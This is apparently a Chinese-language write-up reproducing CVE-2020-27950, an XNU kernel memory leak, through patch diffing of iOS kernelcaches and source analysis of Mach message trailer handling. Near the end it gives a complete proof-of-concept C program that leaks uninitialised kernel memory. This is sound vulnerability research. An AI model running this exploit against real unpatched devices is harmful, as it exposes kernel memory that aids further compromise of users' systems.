公告
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6
Impact: A malicious application may be able to disclose kernel memory. Apple is aware of reports that an exploit for this issue exists in the wild.
Description: A memory initialization issue was addressed.
CVE-2020-27950: Google Project Zero
跟着这篇文章复现CVE-2020-27950内核信息泄露漏洞
第一次通过bindiff补丁对比逆向分析iOS内核漏洞，踩了不少坑，如果各位师傅有更好的分析办法可以多指点
我们选用iPhone 6的两个固件版本：12.4.8和12.4.9
漏洞版本iOS 12.4.8 (16G201) for iPhone 6
补丁版本iOS 12.4.9 (16H5) for iPhone 6
这两个固件都是ZIP压缩文件
➜ ~ file *.ipsw
iPhone_4.7_12.4.8_16G201_Restore.ipsw: Zip archive data, at least v2.0 to extract
iPhone_4.7_12.4.9_16H5_Restore.ipsw: Zip archive data, at least v2.0 to extract
解压缩出来，kernelcache.release.iphone7就是压缩后的内核二进制文件
➜ iPhone_4.7_12.4.8_16G201_Restore ls -al
total 6012560
drwxr-xr-x@ 9 wnagzihxa1n staff 288 Jan 2 19:41 .
drwxr-xr-x 7 wnagzihxa1n staff 224 Jan 2 19:42 ..
-rw-r--r--@ 1 wnagzihxa1n staff 2874835794 Jan 9 2007 038-60223-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 93846555 Jan 9 2007 038-60285-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 91602971 Jan 9 2007 038-60305-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 128367 Jan 9 2007 BuildManifest.plist
drwxr-xr-x@ 10 wnagzihxa1n staff 320 Jan 9 2007 Firmware
-rw-r--r--@ 1 wnagzihxa1n staff 985 Jan 9 2007 Restore.plist
-rw-r--r--@ 1 wnagzihxa1n staff 14061377 Jan 9 2007 kernelcache.release.iphone7
iPhone 6使用的是LZSS压缩算法
➜ iPhone_4.7_12.4.8_16G201_Restore xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e 0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275 l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31 ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a 5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5 ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6 .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409 .....(..?__TEXT.
我们对其进行解压缩，使用的工具是lzssdec
下载编译
➜ lzssdec wget http://nah6.com/\~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
➜ lzssdec g++ lzssdec.cpp -o lzssdec
解压缩kernelcache文件，现在我们获得了一个存在漏洞的固件版本，同理获取打补丁后的固件版本
➜ iPhone_4.7_12.4.8_16G201_Restore ./lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.release.iphone7.bin
现在漏洞版本和补丁版本的kernelcache文件都准备好了
➜ iPhone_4.7_12.4.8_16G201_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
➜ iPhone_4.7_12.4.9_16H5_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
通过bindiff进行补丁对比，bindiff现在已经更新到了6
因为一些大家都懂得的原因，Windows的IDA目前有最新的7.5，而macOS只有7.0，如果是IDA 7.0，目前只能使用bindiff 5，如果是7.5，开心的使用bindiff 6吧
macOS版本有一个错误需要提前解决掉
➜ ~ sudo ln -s /Applications/BinDiff/BinDiff.app/Contents/MacOS/bin/bindiff /Applications/BinDiff/BinDiff.app/Contents/app/bindiff
为了使用更多的特性以及更准确的分析结果，我决定使用IDA 7.5
将两个文件载入IDA 7.5进行分析，生成idb文件，再通过bindiff分析这两个idb文件
关于符号恢复这部分的一波三折大家可以看论坛另一篇文章《关于恢复kernelcache符号的问题》，记录了我这几天是如何踩坑的
首先比对kc_12.4.8和kc_12.4.9，得到八个差异函数，再逐个反编译查看代码，发现有五个函数是添加了同一段代码
__TEXT_EXEC:__text:FFFFFFF00768E4C4 MOV W1, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF00768E4C8 MOV X0, X20
__TEXT_EXEC:__text:FFFFFFF00768E4CC BL sub_FFFFFFF00766D6C0
__TEXT_EXEC:__text:FFFFFFF00768E4D0 MOV W23, #0
现在记录者五个跟漏洞有关的函数，再用kc_12.4.8和一个泄露符号的kc_symbols，分别搜索前面记录的五个函数，通过bindiff的方式恢复出了两个正确的符号
剩下三个函数其中一个具有字符串，搜索源码发现是ipc_kobject_server()，此时剩下两个函数找不到符号
| kc_12.4.8_func_name |
kc_12.4.9_func_name |
Similarity |
bindiff_symbol |
true_symbol |
| sub_FFFFFFF00768E3AC |
sub_FFFFFFF00768E3BC |
0.58 |
_ipc_kmsg_get_from_kernel |
ipc_kmsg_get_from_kernel |
| sub_FFFFFFF00768E164 |
sub_FFFFFFF00768E164 |
0.96 |
_ipc_kmsg_get |
ipc_kmsg_get |
| sub_FFFFFFF0076A7824 |
sub_FFFFFFF0076A7840 |
0.13 |
_mach_gss_accept_sec_context_v2 |
|
| sub_FFFFFFF0076BE438 |
sub_FFFFFFF0076BE470 |
0.11 |
_ipc_port_send_turnstile_prepare |
ipc_kobject_server |
| sub_FFFFFFF0076BF8C8 |
sub_FFFFFFF0076BF90C |
0.28 |
_ptmx_get_ioctl |
|
同时搜索补丁代码中的sub_FFFFFFF00766D6C0，确定是函数bzero()
到这一步为止，我们勉强和作者拥有了同样的漏洞分析起点
我们开始分析XNU源码，先从三个有符号的函数任选一个进行分析，我选择了函数ipc_kmsg_get()
前两天刚好开源了最新的xnu-7195.50.7.100.1
再来一个早一点的版本xnu-6153.141.1
源码一对比，果然多了函数bzero()的调用
bzero(trailer, sizeof(*trailer));
左边是漏洞版本，右边是补丁版本
补丁操作的变量trailer类型是mach_msg_max_trailer_t，而mach_msg_max_trailer_t是由mach_msg_mac_trailer_t定义而来
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
mach_msg_max_trailer_t *trailer;
mach_msg_mac_trailer_t是一个结构体，在这个结构体定义附近发现了两个宏：MACH_MSG_TRAILER_MINIMUM_SIZE，MAX_TRAILER_SIZE，分别代表最大的trailer和最小的trailer长度，由此我们可以找到结构体mach_msg_trailer_t的定义
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
mach_msg_filter_id msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
从结构体定义可以看到，最大的trailer拥有好几个字段，长度为0x44，而最小的trailer结构体只有两个字段，长度为0x08
我喜欢结合函数功能来讲一个漏洞，比如它是什么作用，在哪里调用到，用户态可控的数据有哪些
比如这个漏洞的补丁，什么是trailer？什么操作能调用到这段代码？
作为入门选手，想要从我说的角度去理解这个漏洞，就需要先来学习下基础知识
- Mach Message
- Mach Port
Mach是XNU内核的内核，它实现了操作系统最基本的功能：进程和线程抽象，虚拟内存管理，任务调度，进程间通信和消息传递机制
BSD实现于Mach之上，包括：网络协议栈，文件系统访问，设备访问等等
以上来自《深入解析Mac OS X & iOS操作系统》第二章
在Mach中有一个很基本的概念叫作Message，也就是消息，消息在两个Port之间传递，消息分为Simple Message和Complex Message，作为复杂消息，自然包含的字段数据要比简单消息要多
Port简单可以理解为一个内核的消息队列，Task创建一个Port后，只有该Task对这个Port有接收消息的Right，其它Task都可以在获取发送Right后对该Port发送消息
Mach Message的接收与发送依赖函数mach_msg()进行，这个函数在用户态与内核态均有实现
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
一条基本的消息由Message Header和Message Body构成，它可以选择带上消息尾，也就是上面提到的trailer
typedef struct{
mach_msg_header_t header;
mach_msg_body_t body;
} mach_msg_base_t;
typedef struct{
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
typedef struct{
mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;
以上来自《深入解析Mac OS X & iOS操作系统》第十章
有了一些基本概念之后，我们尝试从开发角度来使用Mach Message
创建Receiver Port并等待接收消息
首先我们要创建分配一个Port
mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
获取往Port发消息的Right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
向系统注册该Port，这样其它进程都可以通过对应的名字搜索到该Port
bootstrap_register(bootstrap_port, "com.wnagzihxa1n.port", port);
通过函数mach_msg()阻塞线程等待接收消息
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // 另一种写法 (mach_msg_header_t *) &message.
MACH_RCV_MSG, // 两种选项：发送和接收，此处是接收
0, // 发送消息的长度
sizeof(message), // 等待接收消息的长度
port, // 要获取消息的port
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
注意trailer在此处的使用，trailer可以附加在消息尾部作为额外的请求，trailer不计算入消息头的msgh_size，它有自己的长度字段msgh_trailer_size，此处使用的是最小的空trailer
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
获取Sender Port并向其发送消息
搜索并获取指定Port
mach_port_t port;
bootstrap_look_up(bootstrap_port, "com.wnagzihxa1n.port", &port);
构造消息
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 1337;
此处是发送消息，注意第二个参数
kr = mach_msg(
&message.header, // 另一种写法 (mach_msg_header_t *) &message.
MACH_SEND_MSG, // 两种选项：发送和接收，此处是发送
sizeof(message), // 发送消息的长度
0, // 等待接收消息的长度
MACH_PORT_NULL, // 要获取消息的port
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
到此完成Mach Message的接收与发送流程
如果有兴趣可以详读这两篇文章，第一篇的代码没有问题，但是第二篇的代码有点过时了，我没有运行起来
我们来看如何在这个过程中发挥trailer的作用，将mach_msg_trailer_t改为mach_msg_security_trailer_t，同时修改函数mach_masg()第二个参数
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_security_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // 另一种写法 (mach_msg_header_t *) &message.
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER), // <-- 添加trailer请求位
0, // 发送消息的长度
sizeof(message), // 等待接收消息的长度
port, // 要获取消息的port
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
当收到消息，即可打印出发送消息者的信息
printf("Sender's user id is %u\nSender's user group is %u\n",
message.trailer.msgh_sender.val[0],
message.trailer.msgh_sender.val[1]);
// Sender's user id is 501
// Sender's user group is 20
// ➜ id
// uid=501(wnagzihxa1n) gid=20(staff) groups=20(staff)
从这个过程可以看出来，Port接收者可以在调用函数mach_msg()时额外从内核指定获取一些数据
以上代码来自《Mac OS X技术内幕》第九章
函数mach_msg()第二个参数有如下的标志位，这个参数在内核里用option来表示
/* The options that the kernel honors when passed from user space */
#define MACH_SEND_USER (
MACH_SEND_MSG |
MACH_SEND_TIMEOUT |
MACH_SEND_NOTIFY |
MACH_SEND_OVERRIDE |
MACH_SEND_TRAILER |
MACH_SEND_NOIMPORTANCE |
MACH_SEND_SYNC_OVERRIDE |
MACH_SEND_PROPAGATE_QOS |
MACH_SEND_SYNC_BOOTSTRAP_CHECKIN |
MACH_MSG_STRICT_REPLY |
MACH_RCV_GUARDED_DESC)
#define MACH_RCV_USER (
MACH_RCV_MSG |
MACH_RCV_TIMEOUT |
MACH_RCV_LARGE |
MACH_RCV_LARGE_IDENTITY |
MACH_RCV_VOUCHER |
MACH_RCV_TRAILER_MASK |
MACH_RCV_SYNC_WAIT |
MACH_RCV_SYNC_PEEK |
MACH_RCV_GUARDED_DESC |
MACH_MSG_STRICT_REPLY)
如果对于Mach Message发送与接收基本流程不理解的同学一定多看看上面这几段代码
以下假设大家对于Mach Message都有了一定的基本理解，并且删除了部分调试与失败返回处理代码
我们跟入函数mach_msg()，函数mach_msg()会调用函数mach_msg_trap()，函数mach_msg_trap()会调用函数mach_msg_overwrite_trap()
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args *args)
{
kern_return_t kr;
args->rcv_msg = (mach_vm_address_t)0;
kr = mach_msg_overwrite_trap(args);
return kr;
}
这里有两种我们需要分析的场景：MACH_RCV_MSG和MACH_SEND_MSG
当函数mach_msg()第二个参数是MACH_SEND_MSG的时候，函数ipc_kmsg_get()用于分配缓冲区并从用户态拷贝数据到内核态
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg()第二个参数
...
mach_msg_return_t mr = MACH_MSG_SUCCESS; // 大吉大利
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
if (option & MACH_SEND_MSG) {
ipc_space_t space = current_space();
ipc_kmsg_t kmsg; // 创建kmsg变量
// 分配缓冲区并从用户态拷贝数据到内核态
mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
// 转换端口权限
mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
// 发送消息
mr = ipc_kmsg_send(kmsg, option, msg_timeout);
}
if (option & MACH_RCV_MSG) {
...
}
return MACH_MSG_SUCCESS;
}
函数ipc_kmsg_get()属于漏洞函数，ipc_kmsg_t就是内核态的消息存储结构体，拷贝过程看注释
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t *kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t *trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count = 0;
// 长度参数检查
// mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
if (size == sizeof(mach_msg_legacy_header_t)) {
len_copied = sizeof(mach_msg_legacy_header_t);
} else {
len_copied = sizeof(mach_msg_legacy_base_t);
}
// 从用户态拷贝消息到内核态
if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
return MACH_SEND_INVALID_DATA;
}
// 获取内核态消息变量起始地址
msg_addr += sizeof(legacy_base.header);
// 直接加上最长的trailer长度，不知道接收者会定义何种类型的trailer，此处是做备用操作
// typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
// #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size = size + MAX_TRAILER_SIZE;
// 分配内核空间
kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
// 初始化kmsg.ikm_header部分字段
// 拷贝消息体，此处不包括trailer
if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return MACH_SEND_INVALID_DATA;
}
// 通过size找到kmsg尾部trailer的起始地址，进行初始化
// 注意它的msgh_trailer_size是最小的MACH_MSG_TRAILER_MINIMUM_SIZE
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
*kmsgp = kmsg;
return MACH_MSG_SUCCESS;
}
函数ipc_kmsg_get()结尾赋值trailer的时候，使用的是mach_msg_max_trailer_t，给kmsg申请的长度也是按照mach_msg_max_trailer_t计算，但只初始化了三个字段，其它字段并未初始化，这是漏洞成因之一
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_labels.sender = 0;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
mach_msg_filter_id msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
当函数mach_msg()第二个参数是MACH_RCV_MSG的时候，会调用函数mach_msg_receive_results()读取消息
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
// 初始化基础变量
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg()第二个参数
...
mach_msg_return_t mr = MACH_MSG_SUCCESS; // 大吉大利
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
// mach_msg()：发送消息
if (option & MACH_SEND_MSG) {
...
}
// mach_msg()：接收消息，我们关注这个分支
if (option & MACH_RCV_MSG) {
thread_t self = current_thread();
ipc_space_t space = current_space();
ipc_object_t object;
ipc_mqueue_t mqueue;
mr = ipc_mqueue_copyin(space, rcv_name, &mqueue, &object);
// 设置接收消息的缓冲区地址
if (rcv_msg_addr != (mach_vm_address_t)0) {
self->ith_msg_addr = rcv_msg_addr;
} else {
self->ith_msg_addr = msg_addr;
}
// 将重要参数设置为线程全局结构体变量
self->ith_object = object;
self->ith_rsize = rcv_size;
self->ith_msize = 0;
self->ith_option = option;
self->ith_receiver_name = MACH_PORT_NULL;
self->ith_continuation = thread_syscall_return;
self->ith_knote = ITH_KNOTE_NULL;
// 从消息队列里获取消息
// Purpose: Receive a message from a message queue.
ipc_mqueue_receive(mqueue, option, rcv_size, msg_timeout, THREAD_ABORTSAFE);
if ((option & MACH_RCV_TIMEOUT) && msg_timeout == 0) {
thread_poll_yield(self);
}
// 读取消息
return mach_msg_receive_results(NULL);
}
return MACH_MSG_SUCCESS;
}
函数mach_msg_receive_results()用于读取消息，如果消息读取成功，会调用函数ipc_kmsg_add_trailer()
mach_msg_return_t
mach_msg_receive_results(
mach_msg_size_t *sizep)
{
// 初始化基础变量
thread_t self = current_thread(); // 获取线程全局结构体变量self
ipc_space_t space = current_space();
vm_map_t map = current_map();
mach_msg_trailer_size_t trailer_size;
mach_msg_size_t size = 0;
/*
* unlink the special_reply_port before releasing reference to object.
* get the thread's turnstile, if the thread donated it's turnstile to the port
*/
mach_msg_receive_results_complete(object);
io_release(object);
/* auto redeem the voucher in the message */
ipc_voucher_receive_postprocessing(kmsg, option);
// 确定是哪种trailer结构体，计算trailer的长度
trailer_size = ipc_kmsg_add_trailer(kmsg, space, option, self, seqno, FALSE,
kmsg->ikm_header->msgh_remote_port->ip_context);
mr = ipc_kmsg_copyout(kmsg, space, map, MACH_MSG_BODY_NULL, option);
if (mr != MACH_MSG_SUCCESS) {
...
} else {
/* capture ksmg QoS values to the thread continuation state */
self->ith_qos = kmsg->ikm_qos;
self->ith_qos_override = kmsg->ikm_qos_override;
// 把消息传递给用户态
// 函数ipc_kmsg_add_trailer()计算的trailer_size在这里使用到
mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
}
if (sizep) {
*sizep = size;
}
return mr;
}
函数ipc_kmsg_add_trailer()此时已经拿到具有整个kmsg，但是最后的trailer还是根据发送者的定义，此处需要结合接收者的请求去做动态修改msgh_trailer_size
mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
mach_msg_option_t option, thread_t thread,
mach_port_seqno_t seqno, boolean_t minimal_trailer,
mach_vm_offset_t context)
{
// 默认定义的是最大的trailer类型
mach_msg_max_trailer_t *trailer;
#ifdef __arm64__
// 创建栈变量tmp_trailer
mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */
// kmsg的trailer数据起始地址
void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
// 拷贝kmsg的trailer到tmp_trailer
// 此时先读取最大长度MAX_TRAILER_SIZE，跟发送消息逻辑对应
bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);
trailer = &tmp_trailer;
#else /* __arm64__ */
(void)thread;
trailer = (mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
// 函数ipc_kmsg_get()定义：trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
// 要是没有MACH_RCV_TRAILER_MASK就直接返回最小的trailer长度
// 没有这个标志位的意思就是trailer类型为mach_msg_trailer_t
// mach_msg_trailer_t结构体长度就是发送者默认设置的MACH_MSG_TRAILER_MINIMUM_SIZE
// #define MACH_RCV_TRAILER_MASK ((0xf << 24))
if (!(option & MACH_RCV_TRAILER_MASK)) {
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
// 使用宏REQUESTED_TRAILER_SIZE计算msgh_trailer_size
// 这里我们可以理解一下逻辑：
// 在发送端，先设置最大的trailer空间，长度字段msgh_trailer_size设置为最小
// 消息到达接收端的时候，根据接收端的trailer设置，动态调整长度字段msgh_trailer_size
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (minimal_trailer) {
goto done;
}
// 如果参数小于7，则不初始化
// #define MACH_RCV_TRAILER_AV 7
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
}
宏REQUESTED_TRAILER_SIZE_NATIVE定义如下，逐个判断，匹配到哪个参数就是对应结构体长度
#define REQUESTED_TRAILER_SIZE_NATIVE(y) \
((mach_msg_trailer_size_t) \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ? \
sizeof(mach_msg_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ? \
sizeof(mach_msg_seqno_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ? \
sizeof(mach_msg_security_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ? \
sizeof(mach_msg_audit_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ? \
sizeof(mach_msg_context_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ? \
sizeof(mach_msg_mac_trailer_t) : \
sizeof(mach_msg_max_trailer_t))))))))
确实乍一看这里的计算方式没有问题，但我们来看一段宏定义，如果我们传入的是5或者6这种定义里没有的数据呢？
#define MACH_RCV_TRAILER_NULL 0 // mach_msg_trailer_t
#define MACH_RCV_TRAILER_SEQNO 1 // mach_msg_seqno_trailer_t
#define MACH_RCV_TRAILER_SENDER 2 // mach_msg_security_trailer_t
#define MACH_RCV_TRAILER_AUDIT 3 // mach_msg_audit_trailer_t
#define MACH_RCV_TRAILER_CTX 4 // mach_msg_context_trailer_t
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
当我们传入的是5，计算出的位数据为0b111000000000000000000000010，MACH_RCV_TRAILER_MASK的位数据为0b1111000000000000000000000000，也就是说，5可以通过MACH_RCV_TRAILER_MASK标志位的判断
回到函数mach_msg_receive_results()，上面计算到的trailer_size会在计算完成后传入函数ipc_kmsg_put()，这个函数主要用于将消息从内核态拷贝到用户态
mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
注意看拷贝操作的长度变量size
mach_msg_return_t
ipc_kmsg_put(
ipc_kmsg_t kmsg,
mach_msg_option_t option,
mach_vm_address_t rcv_addr,
mach_msg_size_t rcv_size,
mach_msg_size_t trailer_size,
mach_msg_size_t *sizep)
{
// 整个长度就是消息长度加上trailer的长度
mach_msg_size_t size = kmsg->ikm_header->msgh_size + trailer_size;
mach_msg_return_t mr;
#if defined(__LP64__)
if (current_task() != kernel_task) { /* don't if receiver expects fully-cooked in-kernel msg; */
mach_msg_legacy_header_t *legacy_header =
(mach_msg_legacy_header_t *)((vm_offset_t)(kmsg->ikm_header) + LEGACY_HEADER_SIZE_DELTA);
mach_msg_bits_t bits = kmsg->ikm_header->msgh_bits;
mach_msg_size_t msg_size = kmsg->ikm_header->msgh_size;
mach_port_name_t remote_port = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_remote_port);
mach_port_name_t local_port = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_local_port);
mach_port_name_t voucher_port = kmsg->ikm_header->msgh_voucher_port;
mach_msg_id_t id = kmsg->ikm_header->msgh_id;
legacy_header->msgh_id = id;
legacy_header->msgh_local_port = local_port;
legacy_header->msgh_remote_port = remote_port;
legacy_header->msgh_voucher_port = voucher_port;
legacy_header->msgh_size = msg_size - LEGACY_HEADER_SIZE_DELTA;
legacy_header->msgh_bits = bits;
size -= LEGACY_HEADER_SIZE_DELTA;
kmsg->ikm_header = (mach_msg_header_t *)legacy_header;
}
#endif
/* Re-Compute target address if using stack-style delivery */
if (option & MACH_RCV_STACK) {
rcv_addr += rcv_size - size;
}
// 拷贝消息
if (copyoutmsg((const char *) kmsg->ikm_header, rcv_addr, size)) {
mr = MACH_RCV_INVALID_DATA;
size = 0;
} else {
mr = MACH_MSG_SUCCESS;
}
// 释放掉内核态的消息结构体
ipc_kmsg_free(kmsg);
if (sizep) {
*sizep = size;
}
return mr;
}
总结一下，我们现在可以通过设置函数mach_msg()的第二个参数为MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5)来获取到最大的trailer->msgh_trailer_size，而且可以跳过trailer->msgh_ad的初始化
现在来看Poc代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#define MAGIC 0x416e7953 // 'SynA'
int main(int argc, char *argv[]) {
mach_port_t port;
int fd[2];
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
uint32_t *pipe_buff = malloc(1020);
for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
pipe_buff[i] = MAGIC;
pipe(fd);
write(fd[1], pipe_buff, 1020);
printf("[+] Creating kalloc.1024 ipc_kmsg\n");
mach_msg_base_t *message = NULL;
// size to fit in kalloc.1024, trust me, I'm an expert (c)
mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0);
message = malloc(message_size + MAX_TRAILER_SIZE);
memset(message, 0, message_size + MAX_TRAILER_SIZE);
message->header.msgh_size = message_size;
message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
message->body.msgh_descriptor_count = 0;
message->header.msgh_remote_port = port;
uint8_t *buffer;
buffer = malloc(message_size + MAX_TRAILER_SIZE);
printf("[+] Freeing controlled buffer\n");
close(fd[0]);
close(fd[1]);
printf("[+] Sending message\n");
mach_msg(&message->header,
MACH_SEND_MSG,
message_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
printf("[+] Now reading message back\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
message_size + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
printf("[+] Leaked value: %x\n", trailer->msgh_ad);
return 0;
}
使用XCode调试，新建一个iOS应用，运行在12.4的iPhone 6上，把Poc代码插入运行
我这里发现了一个XCode解析结构体的问题，按照结构体定义，我标出了msgh_audit的数组位置，在val[7]后面，是64位长度的msgh_context，但是这里解析出错，因为4714839257292734464是0x416e795300000000，修正结构体偏移后，在msgh_ad的位置上是我们提前设置的数据0x416e7953
